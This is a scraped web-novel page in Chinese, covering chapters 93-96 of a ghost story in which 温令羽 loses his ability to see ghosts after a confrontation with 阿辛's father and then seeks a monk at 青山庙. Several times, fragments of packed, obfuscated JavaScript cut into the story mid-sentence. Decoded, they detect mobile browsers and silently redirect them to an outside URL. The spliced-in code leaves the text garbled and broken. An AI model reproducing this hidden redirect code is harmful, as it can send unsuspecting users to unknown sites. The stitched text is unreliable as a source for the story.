d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253470|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是靠供品而传到研究员身边，因此每一份都来之不易，经常要去其他鬼魂那里捡“垃圾”，别人丢弃不要的恰恰是他们的宝。 温令羽和他对视一眼，对方眼里的自信戳中了内心，证据摆在了面前。 大伙一下子把于先生包围了起来，于先生仅仅是慌张了一瞬，很快又恢复过来：“凭什么说我们是抢劫，只是拿自己的东西而已。” 如此强盗的话语让在座所有的震惊了，一个个都愤怒地说不上来。 还是老大存在理智，大骂：“你放屁！我们研究所什么时候成了你的物品了？长得人模狗样儿，做的事畜生都不如。” 于先生笑了，一点都没有因这话感到生气，“瞧瞧你这话。研究所无条件供给鬼小馆一切物资，这句放在每个研究分所里面，那我就拿得了。” 温令羽看了看四周，没有幕后者的身影。 他快速和角落里的小鬼对视了一眼，用口型让他去找小文。 小鬼接收到温令羽的信号，知道自己在这里帮不上忙，转身跑去了研究所。 出了鬼小馆，四面八方全是路，顿时他呆在了原地。 他压根不知道研究总所在哪里？ 如此想着，于是小鬼又冲了回去，想和温令羽说，可他正被围在最中心，完全看不见自己的信号，小鬼在原地急得团团转。 头一回，在他看见温老的时候没有针锋相对。 “研究所，找小文。”小鬼刚落下这话，温老脸色大变，快步离开了鬼小馆。 幕后者若是没来的话，那就只可能在研究总所演讲，让他们相信自己才是鬼小馆真正的老板，而温令羽只是冒名而已。 至于研究所那帮自视甚高的鬼魂，从不参与任何争斗，只是若答应给他们原料等资源，就可能投入一方。 于先生在拖延时间，温令羽意识到这一点，就立马让小鬼一同过去。 温老赶到了研究总所，果不其然看到了那个人，但他把自己包裹的很严实，只是从身形上，得出他是一位成年男人，岁数应该在三四十岁的样子。 背有一些弯。 他们正在研究所门口谈判，总负责人没出来，全程由小文代为叙述。 温老走近之后，才发现小文和他们谈得并不好，说明他来得不晚，还有挽回的机会。 小文这些天因为找于苑，找线索已经焦头烂额了，本来就对幕后之人厌烦，结果这人还亲自上门寻求合作，正正好撞在小文的枪口上。 连上级都懒得汇报，自己就负责把这人打发了。 “我们研究所只负责研究，你们内部的事情研究所不参与，保持中立。”小文数不清重复了多少遍了，对方像是听不懂一样，一再地恳求。 幕后者友好地说：“我们的初衷是一样的，都是为了让鬼魂过得更好，只要把破坏这一切的人拉下来，才有可能让我们的愿望实现。” 温老一听就乐了，看来这人不太懂说服这一套，完全只会画大饼，一点实在的都没有。 93.相熟之人 其实是小文还在气头上，不然还指不定会站在哪一边，还能给温令羽他们机会？ 能站在总负责人身边，是相当有话语权，尽管再硬气，幕后者都没有硬闯研究所，让自己在这场谈判中落入了下风。 要是幕后者自己能知道小文如今的态度，完全是因为前些天分所被抢的事，肯定肠子都要悔青了。 终于等到幕后者说累了，小文见缝插针：“既然无事，就不送客了。” 幕后者看着对方压根没把自己这位客人请进去，内心吐槽：这算哪门子客人，连门都不让进去。 不过，研究所大门一关，连温老失了机会，只能先回鬼小馆。 毕竟幕后者带着他的鬼先锋早一步回鬼小馆“支援”于先生。 但是温令羽所处的情况却不像温老想的那么糟糕，反而还在争吵中处在了上风，把于先生带来的一众鬼魂围在了中间。 在温老走后，鬼小馆内一个个在讨伐于先生的所作所为，还道出了不少在分馆作威作福的事情。 虽然深究之下，在这其中不少事是杜撰的，但是人言可畏，一群鬼魂都在说，倒是大伙都开始相信这些说辞。 于先生渐渐地被岔开了话题，一旦开始为自己解释，那么温令羽就轻而易举地占了上风。 然而，这一切在一个人带领很多的鬼魂闯了进来，形势一下子翻了个跟头。 一看清对方的脸，温令羽一下子呆住了，晋叔和酒保也愣住了。 那人长得和阿辛一模一样，翻版的阿辛就在众鬼的面前，还是成年版的。 温令羽喃喃道：“阿辛。” 四周都安静，哪怕温令羽说得很轻，还是被对方听了进去。 鬼小馆里早就换了一批，只有原先的“老人”能认出来，但大家都能知道这么一位鬼魂，是鬼小馆的大功臣。 本以为只有鬼小馆的能有感觉，可是“阿辛”的话一出口，那人身形顿了顿。 余与域几乎是找遍了所有的地方，处处都没找到余辛的鬼影，直到在此处听到了他的小名。 “你认识阿辛？他到底在哪里？！”余与域一改自若的态度，对温令羽吼道。 温令羽看到这张脸就能明白他们的关系，阿辛，应该叫余辛他的去向，“他离开了，消散了。” “你在骗我。”余与域面色大变，根本不相信温令羽所说的。 温令羽知道对方是听进去了，但却是不想相信，他也不执着于在这个父亲身上戳刀子。 “你爱信不信。” 余与域冷哼一声，不置可否，但心里的慌乱只有自己清楚。 余与域深知自己此刻的精神状态，此行算是白来一趟，暂且选择撤退。 等到缓过之后再来，余与域走前还不忘放出狠话：“小子，你的位置暂时先坐几天，之后我就要拿回原本属于我的，好好等着吧。” “以及你身边这一个个，都小心一点别随便出去了，万一没了或是死了，对吧？”余与域冷声提醒道。 下一秒余与域率先离开了此地，他手下的自然跟着过去，于先生是例外，他是被强行拉走的，嘴里还不断地在骂。 一下子全部都走了，可在座的都没法真正松口气，因为他带来的鬼魂不容易对付。 温令羽回身看了一眼温老，他张了张口想问。 温老脸上却丝毫没有觉得意外，肯定地答复道：“他是阿辛的父亲。” 阿辛的父亲就是幕后之人。 心中的猜想被证实，温令羽一刻都待不下去了，驱车赶往了阿辛的家。 记忆中上一次来到这个小区，还和温老不管不顾地大吵一架，留下了不小的心理阴影，连路过都特意减少了次数。 再一次来到这里，温令羽站在了小区楼下，顺着记忆一步步往上走，凭借肌肉记忆按门铃，介绍自己的身份。 “阿羽，你怎么有时间过来？”家里只有阿姨一人，连孩子去上学了也不在。 温令羽只远远看过一眼余家夫妇站在一起的模样，偌大的学校大礼堂里，只一眼就知道他们是阿辛心心念念的父母。 “叔叔不在家吗？”温令羽还抱有一丝希望。 余母摇摇头，说道：“他前段时间被外派出去了，所以不在家。” 温令羽应了声，余母见他这个样子，话总是滔滔不绝：“在阿辛走后没几天，我家那位就得了病老是做噩梦，之后去了青山庙一趟就好了。” “所以我坚信青山庙很灵验，有了大师庇佑，不仅他的病好了，还有了小儿子。”余母很少有机会和其他人倾诉这些，一看到温令羽就顿感亲切。 温令羽本该走的，最后还是留下吃了顿饭，听余母说了不少家里的糟心事。 很多都已经在阿辛那里听过了，当换了个视角去听，倒是与第一次听不一样。 要是阿辛能静静地听余母说一遍，说不定就不会有这么多误会，阿辛也不会难过这么久了。 等到温令羽回到了自己家中，晋叔温老酒保等等，只要是知情的都赶来了，连小鬼都过来。 “终于回来了？怎么样？”晋叔第一个忍不住地问，无论是温令羽去找幕后者，还是阿辛他都熟悉，当然是想把这一切搞清楚。 温令羽点点头，根据时间点验证过了，确实是余辛的父亲余与域无疑。 马后炮很快就出现，“脸长这么像，肯定是父子关系啊。有眼睛的都能看出来。” “就你有眼睛！可你没脑子，连研究所在哪都不知道，屁颠颠的又跑回来了。”温老拆起台来，一点都不留情面。 小鬼本就看温老不顺眼，不放过这么一个斗嘴的机会，把心里的怒气全骂了出来。 温令羽想劝架，但架不住晋叔的好奇心。 他们分工合作。 小鬼和温老在吵架。 晋叔和酒保在听温令羽讲故事。 偏偏温老和小鬼两个吵架的又要知道内情，导致温令羽整整讲了两遍，口水都要干了。 在余辛彻底消失后，余与域不知道从哪获得的能力，一直在各地寻找余辛的踪影，他与于先生勾结在一起得知了鬼小馆中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14265979|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秘辛，残害生命为之后鬼小馆老板使命做准备。 其中有一个，他到底从何处来的能力。 小鬼是第一个问出来的，他没有顾虑，单纯只想知道而已。 温令羽莫名想起余母说的龙青山一行，时间算来，余与域的能力比他要早好几年。 “我也不知道。”温令羽失落地低下头。 没注意到温老的视线往这边看了看，他适时虚盖住温令羽的手，朝他点点头。 温令羽顺着手臂看过去，和温老对视了一眼，他终于清楚了温老长久以来的顾虑，不由得自嘲一笑。 看来，他已经完完全全被看透了。 温老非常了解温令羽，真按能力的时间推演，温令羽绝对会陷入自我怀疑，让位会让得毫不犹豫。 因为温令羽一向让习惯了，还有很好的说辞来说服自己。 “不是属于自己的，只是当还回去了，没亏没亏。” 时间不早，鬼小馆内还有大堆事，这些事还等着酒保和晋叔处理，不能久待就说要走了，小鬼不想和温老待一个地方，也说要跟着走。 温老把他们送出去，温令羽见状赶紧溜回了房间。 可温老不走善解人意的路数，哐哐在敲温令羽的门，势必要和温令羽新账旧账一块算。 “你瞒着我去找余与域，还联合晋叔把我岔开，以为我全部不知道？”温老在门外喊。 温令羽嘴硬不承认：“没有的事情。” 温老又继续道：“你不会真要把老板让出去吧？就因为余与域那几句话就认输吗？” 说到这里，温令羽再也冷漠不下去，把门打开。 “我听得见，声音可以小一点。” “我老了，不大声一点我听不见。” 温老还在气头上，他尽心护着的人竟然不相信他。 温令羽心里也苦，余辛离开后身边之人只留下温老，结果余辛和温老瞒着他决定，事后只能对温老无能狂怒了。 在之后的一切事情上，温老又像是幕后筹划者。 极少数信任的存在成了被怀疑的一方，温令羽心里纠结难以对别人言说。 两两抵消，温老的气也消了大半。 “对于余与域，你有什么想法？”温老问。 温令羽没底气地回答：“不退缩，然后我跟他吵一架，然后把他吵赢。” “当然了。不过你不能闲着，趁着对方放松时候，去收集一些有利的证据，比方说那个小鬼，你跟着他策反一些回来。”温老面无表情地出点子。 坐以待毙确实不行。 温令羽没想到温老急，能这么急。 把小鬼从鬼小馆拖过来，然后拉上温令羽，将他们一同赶了出去嘱咐道：“完不成就别回来，要是你实力不行，就躲外面吧，还能留你一命。” 这话太戳心。 激将法这一招太妙了。 温令羽连连应下来：“好好好，你就在这里等我的好消息吧。” “我等着。”温老傲娇且不屑地看着门口的两个。 94.回到正轨 “领导，上次一别好久不见。”他站在前方笑着朝温令羽挥手，但这个笑里，少了忌惮和讨好，却多了几分真诚。 上次还抓住这帮鬼魂替小鬼出气，还对自己能做卧底的天赋沾沾自喜，事实上早就暴露得彻彻底底，但对方也没有向余与域告密。 当然，他们的级别见不到余与域是真，再加上确实被欺负得太惨了，对余与域这位首领非常不满，就干脆跟这位领导走了。 反正看小鬼叛变之后的待遇，还可以。 温令羽意识到自己露馅，不过对方竟然还能找上门来，实在是一件稀奇事：“你们都知道了？” 林润试图进入过温令羽的梦境，本意是为了吓人，但从中发现了温令羽并不是余与域派来的人，因为在他们任务失败的那一刻就要被罚了。 结果温令羽非但没责怪，还走得特别快，而后在绑架小鬼的事件后，竟然只是绑住他们的手脚。 和余与域的严酷刑罚相比，简直是太轻松了。 林润得到余与域号召，从大老远赶过来，在队伍的最后面看到了温令羽站在对面的正中间，和于先生据理力争，一步步用行动把他们捕获了。 趁着大家伙在整装准备，林润就带着他们小分队来投奔温令羽。 温令羽听林润这么一说，他倒没有一下就相信，一旁的小鬼见状拉着温令羽到一边，十分排斥林润他们的加入。 “他们能背叛余与域，以后也能背叛你。”小鬼不想和林润共事。 温令羽也有这个顾虑，可他作为庇护者不能放弃任何一个鬼魂，实在是不能违背承诺，因而没有答应小鬼。 他们刚一出门，合作就细得像一根线，一下子就要断了。 可眼下鬼小馆的生死未定，要是能有林润他们的加持，事情说不定能有转圜的余地。 既然敌人还在，就一致对外吧。 小鬼渐渐把自己说服，把话转了一个方向：“我不偏见了，你拉拢林润吧，但你不要全相信他的说辞。” 能这么大度想清楚，确实是小鬼的大转变。 温令羽给了个小鬼安心的眼神，然后重新站到林润面前，说道：“你想要加入我们，也行。先看看你们的合作诚意。” 林润对跟在后面的示意一下，没一会儿，他们就从一个房子里面搬出了大堆物资，有新有旧的，还有不少吃食。 眼见面前的东西越搬越多，温令羽还没有叫停，林润也发现搬出来的太多了，赶忙叫停了干活的人。 “先这样吧。”林润看向温令羽，说道：“我们负责管理补助，现在所有的东西都在我们手上，他们没武器补给没吃喝，绝对能投降。” 话虽如此。 温令羽并不想和余与域打一架，不过林润这一波操作，确实给了他灵感。 “这些东西你带回去。”温令羽对这些并不需要。 谁料，林润一听自己的投名状被拒绝了，也着急起来，推荐道：“全是精品，你当真不需要。” 出品研究所的。 温令羽还真不需要，毕竟小文站在他们身后，意味着研究所可以给予最大帮助。 既然可以策反林润，那么其他鬼魂照样可以策反。 跟着余与域的鬼魂时间不长，并不是忠心跟着他的，更多的是害怕余与域的酷刑，害怕被他报复。 温令羽让林润带了一帮“爱说话”的鬼魂回去，由他们在余与域的内部讲话，让他们策反过来，不要跟着余与域搞事。 不过效果甚微，开始还有一些鬼魂过来寻求庇护，越到后来竟然一个都没有了。 温令羽在鬼小馆看空空如也的大门口，和小鬼两脸不信。 “不会吧？昨天一个，今天一个都没有了。”小鬼难以置信。 温令羽点点头，叹了口气。 他真的寄予希望，想着能靠宣传，不费一兵一卒就能把对面受苦受难的鬼魂救回来，可事实是回来的只有几个，与预期差得不是一星半点。 温老站在他们两个后面，苦口婆心教育道：“不能在原地干等，不然只能等死。” 温令羽恍然大悟，把林润叫出来，恳求他把他带回大本营。 “大哥，领导。你活生生一个人，让我把你带进鬼窟？”林润不想接下，当即就要当没听到走了。 小鬼伸手拉住了他，不再像之前那般害怕，“别走啊，我们是想去看看进展的情况。” “进展得不好啊，你们也能看出来，大家都被打怕了。”林润叹了口气，他是全程看在眼里，不想自己的同类再遭受到这些，“但我真的没办法把你们带进去。” 温令羽的样子都被贴在大伙的脑子里。 小鬼用手指了指自己，说道：“他们不认识我，我可以进去。” “你一个最底层，进去觉得大堆事等着你。”林润一语道破。 余与域的内部有直属他的下属，各自有自己的队伍管事，但有一些流荡在周围负责干杂活，小鬼就在这里面。 温令羽也不同意让小鬼独自前去。 林润看了看他们，他不想把小鬼带进去怕出事后，温令羽来找他兴师问罪，想着多一事不如少一事。 可温令羽在这种时刻还能顾着小鬼，更相信他能把他们带出苦海。 “余与域最近顾不上你们，他在医院陪孩子，所以我可以偷偷把他带进去。”林润指了指小鬼，可他不能保证完全安全，“我尽可能护住他，但不会豁出去。” 可小鬼作为最底层就是被剥削的，他不能违背规则，不然只能吸引到余与域的注意，更加危险。 小鬼读懂了林润话里的意思，说道：“我知道自己不是来享福的，不会什么都不干。” 温令羽却听见了另一个关键词，“余与域现在在哪一个医院？” 林润一脸惊诧，想象不到温令羽还要主动去找余与域，但还是将医院的名字还有具体病房号告诉了他。 不理解但尊重。 说完，林润就带着小鬼走了，温令羽则是开车去往医院。 病房里，病人躺在床上，余母不在，余与域守在病房边，静静地看着睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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余与域的身份大家都知道了，来的时候没有任何遮掩，穿着日常的着装来串门，像是一个久别没见的朋友上门。 能查到温令羽的身份和住址并不意外，不是什么秘密。 “你要进来看看阿辛曾经住过的地方吗？”温令羽记得自己的承诺，尽管余与域没开口，他还是先说了。 此时此刻，温令羽只有一个人在家。 余与域很意外，点了点头，沉默地走了进来。 余辛的房间还留着，他的东西摆放在里面，是温令羽给他买的。 温令羽让余与域自己进去，给了他时间。 余与域在里面待了很长时间，出来的时候眼都是红的，他本来想放狠话把病房那样子翻篇，结果被温令羽这么一打乱，又变了。 温令羽本来就是最无辜的一个，错的不是他，那么他就不应该被殃及。 余与域如此想着，他把手里的符摊开在了温令羽面前，因为被攥得太紧了，它变得皱皱巴巴，一时间都没辨认出来。 “这是什么？”温令羽没有接。 余与域强硬塞进了温令羽的手里，语气坚定，像是为了温令羽好，说道：“为了让一切恢复正轨，变得正常，你没有错，不应该被牵扯进来。” “你在说什么？什么正轨什么正常？”温令羽压根没听懂。 这个问题没有得到回答，他就倒在了地上。 95.都一样了 再一次醒过来，他躺在自己的房间里，余与域正站在他床边。 手里拿着湿毛巾，他刚给温令羽擦过脸，此时自己的脸上还有水的触感，外面的风吹进来凉飕飕的。 片刻间，温令羽想起昏迷前的事，一下从床上坐了起来，厉声质问：“你为什么要把我打晕？” “不晕的话，你不会配合。”余与域说起理由来毫不心虚，还就打算这么离开，“既然你醒了，我就先走了。” 温令羽赶紧拉住了他，下意识觉得不能让他这么轻易地走。 他晕之后到底发生了什么，当事人还不给他一个交代。 “不行。你不可以就这么离开，刚刚到底做了什么？还有你之前说的正轨是什么意思？不解释清楚别想走。” 一连几问，温令羽是真的疑惑了。 余与域听到这几问，却是满脸疑惑，他语气十分无辜：“我什么都没有做，你有觉得不舒服吗？” 还有那个皱巴巴的符纸，温令羽可不信余与域这副模样。 但是再不管温令羽问什么，余与域就是不知不会来回，耐心等温令羽问完后径直离开了他的家。 殊不知，此刻的外面发生着天翻地覆的变化。 温令羽阻拦不了余与域，他身体确实没有任何异常，甚至觉得眼也亮了、耳朵听得更清楚了，舒服得像刚做完采耳。 而自己的那些疑惑，余与域又没有解答的义务，只能让对方走了。 可是，温令羽越想越奇怪，想将余与域的奇怪言论和晋叔温老他们商量一下对策，过了这么几天，余与域很可能会来兑现狠话。 温令羽走到玄关处，刚换好鞋站起来，突然一个踉跄差点跌倒，感觉眼前的景象模糊了一瞬。 仅仅只是一点点时间，很快就恢复了，甚至比原先看得更加清楚。 没将这个插曲放在心上，就要自己开车去鬼小馆，他坐上了驾驶座，照例环视车内一圈，竟然发现里面很整洁，只有后排自己的几件衣服。 平时他不爱在车上放东西，倒是小鬼，最近和他出行盯梢会留好多零食在车上，连垃圾都带走了。 见状，心想：没想到小鬼还挺自觉，不用说都整理得这么好。 开车行驶到鬼小馆门口，看到的一幕让温令羽怀疑上了自己的眼睛。 眼前是一排连着烂尾废墟大楼，原本亲自盯着修缮过的大门却不见了踪影，连常常在周围逛一逛的鬼魂也不见了踪影。 这块地是有主的，纪老板在死后将这块地传给了下一任老板，每一任的老板用大笔的钱阻止了对这里的开发，表面上保持原样，可是在特殊人的眼中却是每一年在修建。 曾经，温令羽只注意过鬼小馆的装潢，却很少关注它原本的样子。 失去了那一层“滤镜”，现在它的原貌就展现在自己的面前，这一切都在告诉温令羽，他已经失去了“看见鬼魂”的能力，彻彻底底地消失了。 哪怕站在这里，熟悉的朋友们能看见他，自己不仅看不见也听不到。 这就是正轨吗？温令羽不信，这是阴谋，而他愚蠢中招了。 意识到这一点，温令羽像疯了似的开车去找余与域，在他的公司里他没有预约，加上对方刻意不见面，被拦在了外面，没有余与域的命令温令羽见不到本人。 没辙的他又开车去余母的家中，从邻居的口中得知，对方早就搬家了，电话打过去也无人接听。 一切仿佛回归到了正常。 温令羽又和其他人一样了。 在最需要他的时候。 温令羽和余与域的社会地位相距很大，可能温父或是令美珑出面，才有可能约见一面，对比自己来看，还不够格也太小。 不过，温令羽知道约见是没机会了，于是等在余与域的公司楼下，势必要堵到他人。 公司楼下就有等待的位置，温令羽坐在那里，尽管看到了却也赶不走他，毕竟他没做什么事，随便赶人容易影响公司形象。 “阿羽。”宋时盛一进门就看见了淡定坐在位子上喝水的温令羽。 他们两个已经很久没见过，宋时盛还记得温令羽外地旅游去了，“什么时候回来的？怎么没和我们说一声。” 温令羽想见余与域，但又深知自己冒然行事会影响到宋时盛，问道：“你来这有什么事？” “我回总部了，来谈项目的。”宋时盛在分公司向宋父证明了自己的实力，被调到总部。 温令羽轻声请求道：“我想见余与域，你有办法吗？” 话落，宋时盛让身后的项目部先上去，接着把温令羽拉到一边，说道：“你不是离开温氏了吗？怎么突然要见余与域一面？” 温令羽不知道该怎么和宋时盛解释，哪怕解释了也不一定会信。 宋时盛不是非要答案不可，可宋氏与余与域的合作他不能搞砸，一点风险都不能有，脸色变得不好，他很为难。 两人认识这么长时间，温令羽当然读懂了宋时盛的表情。 他对宋时盛笑了笑，说道：“不是大事，只是我自己的私事，我在这里等就好。” 说完，还不忘催促宋时盛赶紧跟着他的团队上去，合作更加重要。 温令羽目送宋时盛离开大厅，又坐回自己原来的位置上继续等，关注着出入口的地方，等着余与域从里面出来。 要不是进不去地下停车场，说不定在那里等的概率更大。 因为整整两天，温令羽从早等到晚都没见到余与域的身影。 “余总。”前台看见门口进来的人，快步迎上去，生怕怠慢了，还不忘提醒余与域，“那个人还在这里等您。” 温令羽当然注意到余与域进来，还没等他上来就被助理拦下来了。 余与域半个眼神都没给温令羽，带着自己的助理乘电梯上去，温令羽也被前台拦了下来。 前台见温令羽等的这么诚心又辛苦，坦言道：“前两天余总出差去了，他回来了也不会见你的。” 他是想赶紧打发温令羽走，温令羽老待在这里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285573|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等余与域生气起来，怪他失职就不好了。 温令羽是不见余与域不罢休，对前台露出抱歉的表情，继续在门口等余与域下班。 刚刚余与域这一做法让温令羽看得真真切切，原先温令羽还担心余与域会为了躲他直接去地下停车场，可余与域的傲气半点不怵，绝对不会做这样的事。 恰恰意味着，温令羽等在这里，就能见到余与域。 “小李，你把阿羽拦在外面干什么？”余母的声音从温令羽的后背响起来。 余与域的夫人过来，小李没想到他奉命拦下的人竟然认识他们两个，看来真是件难办的差事。 小李对余母友好一笑，说道：“有合作方来找宋总，温先生没有提前预约，所以没办法放他进去。” 余母知道余与域今天刚回来，而且他有工作也不能受到影响。 “阿羽，你来这有什么事吗？急得话阿姨替你传一下话。”余母也不能替余与域做决定。 温令羽将余与域闯进他家的事说了，但没说全，“他来之后，我这俩天身体就变得不好，怀疑是中邪了。” 余母听到这，面色愈发凝重，事关这些不得不重视。 “有去医院检查过吗？”余母看过了温令羽家客厅的监控，相信温令羽所言非虚。 上面的时间却吸引她的注意，余与域对她说过，这天他应该是在外地出差，却出现在温令羽家里还打晕了他，实在是太奇怪了。 余母没说，只是把疑惑埋在心里。 温令羽身体没事，但眼下为了见到余与域，只好点点头，把自己说得很惨：“一到晚上就睡不着，睡着了也是做噩梦就被吓醒，我就想问问他到底做了什么。” “你别担心，你跟阿姨回去，晚上好好问问他。”余母是来给余与域送衣服的，不放心温令羽一个人待着，还是让小李拿上去，自己带温令羽回家等。 温令羽向余母感谢：“麻烦阿姨了。” 余母看温令羽这个样子并不好受，因为连续两日早上晚上地等，他的状态不好。 回去的路上，温令羽开车送余母，知道了他家的新地址。 状似不经意地问道：“阿姨怎么突然搬家了？” 余母还沉浸在余与域这些日子的怪异当中，顺嘴答道：“之前是舍不得和儿子住过的地方，马上孩子要上学了，为了孩子更好的读书环境，就换了地方。” 余母越想，越觉得温令羽视频中的符纸眼熟，她想再看一遍视频。 温令羽虽不解，可视频是他导出来的，特意把音频删去。 视频里面他把余与域请进来，然后余与域在房间里待了一会儿，之后两个人聊了一会天，他就被打晕了。 一镜到底，没有丝毫剪辑和加速。 温令羽将自己的手机解锁递给余母，无声音的视频无论看多少遍，难辨的那位都是余与域而非他。 完完全全的受害者。 余母来回在符纸那段放大重复，惊呼一声：“这是大师的符啊。” 96.上山之路 “大师？哪位大师？”温令羽震惊，不自觉一脚踩下刹车。 车子突然间停下来，里面的两人的身体不受控制地前倾，还好都系了安全带。 余母坐在后排，她被突然的刹车吓到了，缓了缓情绪后说道：“还能有哪个大师，就是青山庙里。只不过见到他全凭机缘，这张符是他写给我丈夫保平安的。” 符纸他找了很久，四处都翻遍了还是没有。 因此温令羽现在已经拿不出符纸了，余母的话给了他启发，要是不能从余与域找到突破口，那么龙青山一行是非去不可。 既然找到了后路，不像刚遇到这么慌张，在面对余与域少了一点焦躁。 反倒是余与域自己竟然还拖延回来的时间，连余母都开始觉得余与域的所作所为不对劲，不似平常那样。 余与域的电话打来的时候，温令羽也在场，余母也不好把温令羽独自晾在客厅，于是当着他的面接起了电话。 “今天晚上要和宋氏的人吃饭，别等我早点睡。”余与域清楚知道温令羽能听见，理由是合理正当。 宋时盛带着他团队进的公司，和宋氏吃饭，十分合理。 余与域说是为了工作，余母只好随他去，贴心嘱托道：“衣服让小李带上去了，别喝太多。” 余与域一一应下，然后就挂了电话。 电话内容就是这么几句，温令羽找不到漏洞来问。 余母心里是知道里头有大文章在，以往丈夫多日出差回来，连公司都不去先回的家，不会像现在一样，连家都没进晚上就要去应酬。 关键是公司的经营状况良好。 实在是不怪余母怀疑余与域此行是为了躲温令羽，太像了。 而且那一通电话，是真的要送衣服呢？还是让她出面把人带走呢？ 办公室里怎么会没有备用的呢？ 猜是猜到了这些，但还是照做。 面上余母是没有表现出来，她重新看向温令羽，体贴地说道：“我丈夫今晚应酬不回来，所以孩子要我去接，这下没法招待你了。” 余家请了住家保姆，但接送孩子上下学，都是余母亲力亲为，不会让保姆去。 温令羽听出了余母的弦外之音，也是她的变相逐客令，后知后觉反应了过来。 顿感后悔，他怎么会如此大意，忘了他们两个才是一家人。 无论在余母心目中自己是儿子的至交好友，但与余与域比起来，完全没有可比性。 他竟然就这么简单地同意了从公司离开。 温令羽自进来起，连杯茶都没有喝到，立马就被余母寻了个接孩子的由头“赶”了出来，看着眼前紧紧关闭的大门，被自己的愚蠢气笑了。 是真的蠢啊，怎么会觉得余母会站在自己这一边呢？ 还好视频没有其他异样。 看来，这场战役他身边只有自己一个了，而且还是开局落了下风。 温令羽从余家出来，立即驱车前往龙青山。 再一次来到熟悉的地方，竟然有一种叫作归属感的油然而生，漫长的上山路都觉得短了不少。 当然，开发的新路旅游路更近更好走也是原因。 青山庙不少游客慕名而来，近年来就更多了。 正因为如此，大师的名号被彻底打了出来，几乎次次都是白跑一趟，尽管这样还是有很多人上门求见。 原先的清幽小院已经没了，现在成了无数游客的打卡地。 这是温令羽看到这间小院里人数最多的时候，石凳上有人坐着在拍照，坐在这里刚好能拍到住处，还有指示小牌子，号称青山庙最佳打卡点。 正因此，旁边还排了一条长长的队伍，就等着这一张出片。 但是，除了这里，温令羽想不到还有其他地方能见到大师，明明每一次他前来，大师早已预知到，特意来这里等他。 意识到这一点，温令羽不再停留，转身去庙中大殿找人。 既然不能靠“走后门”，那就按照其他人的方式，去求见大师解一份疑惑。 “有缘人已见，施主另谋他日吧。”住持听到温令羽想见，可如今他连大师的去向都没有，只能以这种借口维持人气。 要是大师出走的消息散播出去，青山庙绝不会有此胜景。 温令羽不知道住持心里面的弯弯绕绕，认为只是自己的诚心不够，“我有急事求见大师，事成必有重谢。” “讲究一个缘字，注定有缘无分啊。”住持顾左右而言他。 话落，昏暗的天终于落下了雨，连日来的等待，这一场雨下得格外大，雨雾挡住了前路。 因为有一起同行的人，冒着大雨往山下走。 温令羽他到得晚，而且又没有带伞，被这场雨留在了这所庙里。 除了他以外，还有其他的外来游客，此行是他们这趟旅程的最后一站，一不小心就容易被雨淋湿，着凉后不能立马驱寒。 如此情形下，留下来的人还挺多。 温令羽被迫和陌生人挤一间房，他一路背着行李包上来，注意到温令羽的头发衣服都湿了，从包里拿出随身携带的毛巾，“这是干净的，你擦一擦吧。” 正在为此犯愁的温令羽，眼前就是干净的毛巾，他礼貌接了过来，再三感谢他。 这一段小插曲，一下子拉近了两人之间的距离。 从陌生到认识，只需要一句话和一条毛巾。 距离晚饭还要一会儿的时间，庙里有固定的开饭时间，外面的雨依旧很大，温令羽和他的临时室友便待在房间里等。 山上的信号堪忧，温令羽待了一会儿，就打算出去碰碰运气，要是能遇到大师就好了。 临时室友见温令羽站在房间门口，停不住地往四周看，像是在思考从哪里走。 他指了指右边，说道：“从这里过去到大殿都有连廊。” 温令羽向他道谢，因为他没伞，就选了去大殿的路，这个时间点，庙里的僧人应该都在大殿内，是不是说明大师也在。 不仅是他这么想，很多游客都有这种猜测。 大殿门口围了一群人，他们的声音不大，但是几个人一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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临时室友给温令羽占了位置，轻声示意了他一声，两人坐一块，“你去哪了？怎么又湿了。” “大殿那人太多了，被挤出去了。”温令羽轻声答道，这才发现自己的身上又湿了，肯定是自己上台阶的那段搞的。 果然下雨一点都不好。 吃饭不好发出声音，安静地吃完饭后，雨已经变小了。 九点入寝，大家住的地方离僧人很远，规定是不能随意过去的，温令羽想找到他不容易。 正当温令羽发愁如何去见他，小僧却是找过来了，因为他也有问题要个答案。 沉默良久后，还是小僧先开的口：“我师父没有宣布过大师已走的消息吗？” 